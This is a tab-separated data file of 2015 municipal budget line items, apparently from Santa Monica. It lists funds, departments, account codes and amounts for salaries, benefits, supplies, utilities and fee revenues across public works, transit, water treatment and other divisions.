16618	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-12062.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12062.0
16619	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	26266.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26266.0
16620	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY HALL	808.0	 Supplies and Expenses	2015	55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55000.0
16621	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	111823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	111823.0
16622	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	222791.0	0	0	0	0	0	0.0	0	0	0	0	0.0	222791.0
16623	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	1250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1250.0
16624	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16625	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16626	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	38880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38880.0
16627	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-PSF	808.0	 Supplies and Expenses	2015	274454.0	0	0	0	0	0	0.0	0	0	0	0	0.0	274454.0
16628	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2015	59000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59000.0
16629	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16630	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	1971.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1971.0
16631	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-45955.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-45955.0
16632	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2015	7553.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7553.0
16633	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16634	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	731691.0	0	0	0	0	0	0.0	0	0	0	0	0.0	731691.0
16635	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	70519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70519.0
16636	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2015	5852.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5852.0
16637	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-40147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40147.0
16638	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16639	BA	IS	1	General Fund	310	FIRE	315	TRAINING	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16640	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2015	6005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6005.0
16641	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2015	310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	310.0
16642	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
16643	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2015	581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	581.0
16644	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	201408.0	0	0	0	0	0	0.0	0	0	0	0	0.0	201408.0
16645	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	3666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3666.0
16646	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	21132.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21132.0
16647	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	564818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	564818.0
16648	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	14098.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14098.0
16649	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16650	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	570060.0	CITYWIDE MAINTENANCE	820.0	 Supplies and Expenses	2015	-119930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-119930.0
16651	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400610.0	USE OF PUBLIC PROPERTY PERMITS	612.0	Charges for Service	2015	-517500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-517500.0
16652	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400620.0	RESURFACING PERMITS	612.0	Charges for Service	2015	-17794.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17794.0
16653	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	8293.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8293.0
16654	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	2833340.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2833340.0
16655	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	6677.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6677.0
16656	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16657	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2015	155210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	155210.0
16658	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401890.0	WIRELESS FACILITY FEES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16659	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2015	3700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3700.0
16660	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401400.0	UTILITY EXCAVATION FEES	612.0	Charges for Service	2015	-223960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-223960.0
16661	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16662	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	4300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4300.0
16663	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-2208.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2208.0
16664	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2015	288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288.0
16665	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	7010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7010.0
16666	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	286.0
16667	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2015	49790.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49790.0
16668	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2015	26400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26400.0
16669	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	14222.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14222.0
16670	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-83091.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-83091.0
16671	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2015	6178.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6178.0
16672	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
16673	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	553.0	0	0	0	0	0	0.0	0	0	0	0	0.0	553.0
16674	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16675	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522312.0	DISCOUNTS LOST	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16676	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2015	20234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20234.0
16677	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	247014.0	0	0	0	0	0	0.0	0	0	0	0	0.0	247014.0
16678	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-42248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-42248.0
16679	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
16680	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	89151.0	0	0	0	0	0	0.0	0	0	0	0	0.0	89151.0
16681	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2015	419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	419.0
16682	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	1665.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1665.0
16683	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	1005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1005.0
16684	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	5875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5875.0
16685	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2015	4610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4610.0
16686	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	77582.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77582.0
16687	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	2959.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2959.0
16688	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-95938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-95938.0
16689	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DCAP	804.0	Salaries and Wages	2015	288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288.0
16690	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16691	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2015	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
16692	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567230.0	PFA 2011B (PSF)	910.0	 Supplies and Expenses	2015	1077575.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1077575.0
16693	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-STREET LIGHTS	808.0	 Supplies and Expenses	2015	1092521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1092521.0
16694	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES-CITY YARDS	808.0	 Supplies and Expenses	2015	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
16695	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	26031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26031.0
16696	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2015	17700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17700.0
16697	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	8410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8410.0
16698	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	3071.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3071.0
16699	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	520650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	520650.0
16700	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	1400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1400.0
16701	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	187125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	187125.0
16702	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2015	588.0	0	0	0	0	0	0.0	0	0	0	0	0.0	588.0
16703	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	447260.0	0	0	0	0	0	0.0	0	0	0	0	0.0	447260.0
16704	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2015	6226.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6226.0
16705	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511747.0	CASH-IN-LIEU	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16706	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	381749.0	0	0	0	0	0	0.0	0	0	0	0	0.0	381749.0
16707	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	492677.0	0	0	0	0	0	0.0	0	0	0	0	0.0	492677.0
16708	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-21066.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21066.0
16709	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16710	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	43653.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43653.0
16711	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511491.0	OVERTIME CONTINGENCY	806.0	Salaries and Wages	2015	412000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	412000.0
16712	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402460.0	TENANT UTILITIES PAYMENT	650.0	Charges for Service	2015	-153264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-153264.0
16713	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	824.0	0	0	0	0	0	0.0	0	0	0	0	0.0	824.0
16714	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511250.0	STANDBY PAY	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16715	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544910.0	TRANSIT STORE EXPENSES	866.0	 Supplies and Expenses	2015	1817.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1817.0
16716	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	402090.0	SAMOHI FIELD FIELD RENTAL	618.0	Rentals	2015	-38600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38600.0
16717	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	21286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21286.0
16718	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	902.0	0	0	0	0	0	0.0	0	0	0	0	0.0	902.0
16719	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2015	58324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58324.0
16720	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	4200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4200.0
16721	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
16722	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	566500.0	RECRUITMENT	806.0	 Supplies and Expenses	2015	20500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20500.0
16723	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	11600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11600.0
16724	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404560.0	UTILITY POLE LEASE FEE	608.0	Licenses and Permits	2015	-3894.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3894.0
16725	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	402050.0	TRANSPORTATION IMPACT FEE	622.0	Other	2015	-2210870.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2210870.0
16726	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16727	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	108031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	108031.0
16728	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2015	69376.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69376.0
16729	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544016.0	ANALYTICAL INSTR CONSUMABLES	808.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
16730	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	124603.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124603.0
16731	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544013.0	CARTRIDGE FILTER REPLACEMENT	808.0	 Supplies and Expenses	2015	54965.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54965.0
16732	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402830.0	CITY YARDS CONV FUEL STN REPL	650.0	Charges for Service	2015	-75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-75000.0
16733	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	373733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	373733.0
16734	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	112780.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112780.0
16735	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	75298.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75298.0
16736	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	13700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13700.0
16737	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	816206.0	0	0	0	0	0	0.0	0	0	0	0	0.0	816206.0
16738	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16739	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16740	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2015	6300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6300.0
16741	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2015	24720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24720.0
16742	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561506.0	HOMELESS PREVENTION		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16743	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408450.0	TMD ASSESSMENT	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16744	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
